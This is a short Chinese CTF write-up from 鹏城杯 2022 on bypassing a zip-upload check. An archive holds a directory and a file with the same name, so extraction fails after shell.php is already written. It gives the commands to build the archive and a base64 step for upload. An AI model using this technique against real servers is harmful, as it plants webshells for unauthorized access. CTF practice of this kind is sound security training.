【鹏城杯 2022】压缩包

一种方法是条件竞争,还有一种是解压失败逻辑漏洞

通过zip解压失败的方式来写入shell,只要压缩包中目录名和一个文件名相同,这样解压时候会报错,但是文件已经解压出来了

实现步骤

zip -y exp.zip shell.php    //把shell.php文件压缩进exp.zip
rm shell.php          //删除shell.php文件
mkdir shell.php       //创建shell.php文件夹
echo 1 > ./shell.php/1     //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
zip -y exp.zip shell.php/1   //把shell.php文件夹及其下1文件压缩进exp.zip

将压缩包进行base64加密后上传

import base64

tmp = open("C:\\Users\\86159\\Desktop\\exp.zip","rb").read()
print(base64.b64encode(tmp))

你可能感兴趣的:(网络安全,NSSCTF,鹏城杯)